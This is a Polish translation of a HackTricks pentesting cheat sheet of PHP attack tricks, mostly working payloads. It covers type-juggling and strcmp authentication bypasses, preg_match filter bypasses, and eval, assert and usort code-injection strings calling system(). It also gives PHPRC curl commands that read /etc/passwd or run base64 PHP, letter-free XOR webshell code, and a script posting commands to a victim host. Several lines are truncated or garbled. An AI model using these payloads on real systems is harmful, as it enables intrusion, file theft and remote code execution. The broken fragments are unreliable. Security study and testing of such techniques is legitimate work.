24 KiB
Sztuczki w PHP
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
{% embed url="https://websec.nl/" %}
Powszechne lokalizacje plików cookie:
To również dotyczy plików cookie phpMyAdmin.
Pliki cookie:
PHPSESSID
phpMyAdmin
Lokalizacje:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Ominięcie porównań w PHP
Luźne porównania/Type Juggling ( == )
Jeśli w PHP używane jest ==
, mogą wystąpić przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć ===
.
Tabele porównań w PHP: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie"0xAAAA" == "43690" -> True
Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)"0e3264578" == 0 --> True
Ciąg rozpoczynający się od "0e" i zawierający cokolwiek będzie równy 0"0X3264578" == 0X --> True
Ciąg rozpoczynający się od "0" i zawierający dowolną literę (X może być dowolną literą) oraz cokolwiek będzie równy 0"0e12334" == "0" --> True
Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" oraz pewną zawartość, która jest haszowana i porównywana do niego. Dlatego jeśli można podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, można ominąć porównanie. Można znaleźć już zahaszowane ciągi w tym formacie tutaj: https://github.com/spaze/hashes"X" == 0 --> True
Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0
Więcej informacji na stronie https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling również wpływa na funkcję in_array()
domyślnie (trzeba ustawić na true trzeci argument, aby dokonać ścisłego porównania):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Jeśli ta funkcja jest używana do jakiejkolwiek weryfikacji uwierzytelniania (takiej jak sprawdzanie hasła) i użytkownik kontroluje jedną stronę porównania, może wysłać pusty tablicę zamiast ciągu znaków jako wartość hasła (https://example.com/login.php/?username=admin&password[]=
) i ominąć tę weryfikację:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Suwałe występuje z strcasecmp()
Ścisłe rzutowanie typów
Nawet jeśli jest używany operator ===
, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na manipulację typami. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
można użyć do sprawdzania danych wprowadzanych przez użytkownika (sprawdza, czy jakiekolwiek słowo/wyrażenie regularne z czarnej listy jest obecne w danych wprowadzonych przez użytkownika i jeśli nie, kod może kontynuować swoje wykonanie).
Ominięcie nowej linii
Jednakże, gdy ograniczamy początek wyrażenia regularnego preg_match()
sprawdza tylko pierwszą linię danych wprowadzonych przez użytkownika, więc jeśli w jakiś sposób możesz wysłać dane we wielu liniach, możesz ominąć tę kontrolę. Przykład:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Aby ominąć tę kontrolę, możesz wysłać wartość z zakodowanymi znakami nowej linii (%0A
) lub jeśli możesz wysłać dane JSON, wyślij je w kilku wierszach:
{
"cmd": "cat /etc/passwd"
}
Znajdź przykład tutaj: https://ramadistra.dev/fbctf-2019-rceservice
Bypass błędu długości
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)
Jeśli możesz przesłać do preg_match()
bardzo duży poprawny input, nie będzie w stanie go przetworzyć i będziesz mógł obejść sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz wysłać:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Przejście ReDoS
Sztuczka z: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 i https://mizu.re/post/pong
W skrócie problem występuje, ponieważ funkcje preg_*
w PHP opierają się na bibliotece PCRE. W PCRE pewne wyrażenia regularne są dopasowywane za pomocą wielu rekurencyjnych wywołań, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit domyślnie wynosi 100 000, co jest więcej niż mieści się na stosie.
Wątek na Stackoverflow został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:
Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja preg_match()
zwróci false
, co sprawi, że aplikacja uzna, iż nasze dane wejściowe nie są złośliwe, a na końcu ładując coś w stylu {system(<bardzozłaźliczba>)}
aby uzyskać SSTI --> RCE --> flag :).
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", które, jak podaje dokumentacja PHP, domyślnie wynoszą 1 000 000 (1M) w zmiennej pcre.backtrack_limit
.
Aby to osiągnąć, 'X'*500_001
spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Typowanie dynamiczne dla zaciemniania PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Wykonaj Po Przekierowaniu (EAR)
Jeśli PHP przekierowuje do innej strony, ale nie jest wywoływana funkcja die
lub exit
po ustawieniu nagłówka Location
, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Wykorzystanie Traversal ścieżki i włączenie pliku
Sprawdź:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
Więcej sztuczek
- register_globals: W PHP < 4.1.1.1 lub jeśli jest błędnie skonfigurowany, register_globals może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $_GET, jeśli mają wartość np. $_GET["param"]="1234", można uzyskać do niej dostęp za pomocą $param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne, które są używane w kodzie.
- Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny używane są różne ciasteczka w różnych ścieżkach, można sprawić, że ścieżka uzyskuje dostęp do ciasteczka z innej ścieżki, ustawiając wartość ciasteczka z innej ścieżki.
W ten sposób, jeśli obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie, można sprawić, że wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą jej w ścieżce 2). - Gdy masz nazwy użytkowników użytkowników maszyny. Sprawdź adres: /~<USERNAME> aby zobaczyć, czy katalogi php są aktywowane.
- LFI i RCE za pomocą opakowań php
password_hash/password_verify
Te funkcje są zazwyczaj używane w PHP do generowania skrótów z haseł i do sprawdzania, czy hasło jest poprawne w porównaniu ze skrótem.
Obsługiwane algorytmy to: PASSWORD_DEFAULT
i PASSWORD_BCRYPT
(zaczyna się od $2y$
). Zauważ, że PASSWORD_DEFAULT jest często takie samo jak PASSWORD_BCRYPT. Aktualnie PASSWORD_BCRYPT ma ograniczenie rozmiaru wejścia do 72 bajtów. Dlatego, gdy próbujesz utworzyć skrót czegoś większego niż 72 bajty tym algorytmem, użyte zostanie tylko pierwsze 72B:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Bypassowanie nagłówków HTTP poprzez nadużycie błędów PHP
Wywołanie błędu po ustawieniu nagłówków
Z tego wątku na Twitterze można zobaczyć, że wysłanie więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików spowoduje, że PHP nie będzie ustawiał nagłówków w odpowiedzi.
Pozwala to na ominięcie na przykład ustawiania nagłówków CSP w kodach takich jak:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Wypełnianie treści przed ustawieniem nagłówków
Jeśli strona w PHP drukuje błędy i echo z powrotem pewne dane wprowadzone przez użytkownika, użytkownik może sprawić, że serwer PHP wydrukuje trochę treści wystarczająco długiej, aby kiedy spróbuje dodać nagłówki do odpowiedzi, serwer zwróci błąd.
W następującym scenariuszu atakujący sprawił, że serwer zwrócił duże błędy, i jak widać na ekranie, kiedy PHP spróbowało zmodyfikować informacje nagłówka, nie mogło (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
SSRF w funkcjach PHP
Sprawdź stronę:
{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Wykonanie kodu
system("ls");
`ls`;
shell_exec("ls");
Sprawdź to dla bardziej przydatnych funkcji PHP
RCE za pomocą preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Aby wykonać kod w argumencie "replace", wymagane jest co najmniej jedno dopasowanie.
Ta opcja preg_replace została przestarzała od wersji PHP 5.5.0.
RCE za pomocą Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE za pomocą Assert()
Ta funkcja w php pozwala ci wykonać kod napisany w postaci ciągu znaków, aby zwrócić true lub false (i w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika zostanie wstawiona w środku ciągu znaków. Na przykład:
assert("strpos($_GET['page']),'..') === false")
--> W tym przypadku, aby uzyskać RCE, możesz:
?page=a','NeVeR') === false and system('ls') and strpos('a
Będziesz musiał przerwać składnię kodu, dodać swój payload, a następnie ponownie ją naprawić. Możesz użyć operacji logicznych takich jak "and" lub "%26%26" lub "|". Należy zauważyć, że "or" lub "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. Podobnie nie działa ";" ponieważ nasz payload nie zostanie wykonany.
Inną opcją jest dodanie do ciągu znaków wykonania polecenia: '.highlight_file('.passwd').'
Inną opcją (jeśli masz dostęp do kodu źródłowego) jest zmodyfikowanie pewnej zmiennej w celu zmiany wykonania: $file = "hola"
RCE za pomocą usort()
Ta funkcja służy do sortowania tablicy elementów za pomocą określonej funkcji.
Aby nadużyć tej funkcji:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Możesz również użyć // aby zakomentować resztę kodu.
Aby odkryć liczbę nawiasów, które musisz zamknąć:
?order=id;}//
: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ';'
). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.?order=id);}//
: otrzymujemy ostrzeżenie. Wygląda na to, że jest to prawidłowe.?order=id));}//
: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ')' i
). Prawdopodobnie mamy za dużo zamykających nawiasów.
RCE za pośrednictwem .httaccess
Jeśli możesz załadować plik .htaccess, możesz skonfigurować kilka rzeczy, a nawet wykonać kod (konfigurując pliki z rozszerzeniem .htaccess do wykonywania).
Różne powłoki .htaccess można znaleźć tutaj
RCE za pośrednictwem zmiennych środowiskowych
Jeśli znajdziesz podatność, która pozwala Ci modyfikować zmienne środowiskowe w PHP (oraz inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zabezpieczone), możesz wykorzystać to zachowanie do uzyskania RCE.
LD_PRELOAD
: Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).PHPRC
: Wskazuje PHP, gdzie znajduje się plik konfiguracyjny, zwykle nazywanyphp.ini
. Jeśli możesz wgrać swój własny plik konfiguracyjny, użyjPHPRC
, aby wskazać PHP na niego. Dodaj wpisauto_prepend_file
określający drugi wgrany plik. Ten drugi plik zawiera normalny kod PHP, który jest następnie wykonywany przez środowisko PHP przed jakimkolwiek innym kodem.
- Wgraj plik PHP zawierający nasz kod powłoki
- Wgraj drugi plik, zawierający dyrektywę
auto_prepend_file
instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1 - Ustaw zmienną
PHPRC
na plik wgrany w kroku 2.
- Uzyskaj więcej informacji na temat wykonania tego łańcucha z oryginalnego raportu.
- PHPRC - kolejna opcja
- Jeśli nie możesz wgrywać plików, możesz użyć w FreeBSD pliku "file"
/dev/fd/0
, który zawierastdin
, będący treścią żądania wysłanego dostdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Lub aby uzyskać RCE, włącz
allow_url_include
i dodaj plik z kodem PHP w formacie base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Technika z tego raportu.
Analiza statyczna PHP
Sprawdź, czy możesz wstawić kod w wywołania tych funkcji (z tutaj):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w /etc/php5/apache2/php.ini
, dodając display_errors = On
i zrestartować apache: sudo systemctl restart apache2
Deobfuskacja kodu PHP
Możesz użyć strony internetowej www.unphp.net do deobfuskacji kodu PHP.
PHP Wrappery i Protokoły
Wrappery i protokoły PHP mogą pozwolić Ci obejść zabezpieczenia zapisu i odczytu w systemie i go skompromitować. Aby uzyskać więcej informacji, sprawdź tę stronę.
Xdebug nieuwierzytelniona RCE
Jeśli zobaczysz, że Xdebug jest włączony w wyniku phpconfig()
, powinieneś spróbować uzyskać RCE za pomocą https://github.com/nqxcode/xdebug-exploit
Zmienne zmiennych
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE wykorzystujące nowe $_GET["a"]($_GET["b"])
Jeśli na stronie możesz utworzyć nowy obiekt dowolnej klasy, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Wykonanie PHP bez liter
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Użycie ósemkowego
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
Kod powłoki XOR
Zgodnie z tym opisem, można wygenerować prosty kod powłoki w ten sposób:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Więc jeśli możesz wykonać dowolny kod PHP bez użycia cyfr i liter, możesz wysłać żądanie, wykorzystując poniższy payload do wykonania arbitralnego kodu PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Dla bardziej szczegółowego wyjaśnienia sprawdź https://ctf-wiki.org/web/php/php/#preg_match
Kod powłoki XOR (wewnątrz eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Podobne do Perla
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
{% embed url="https://websec.nl/" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.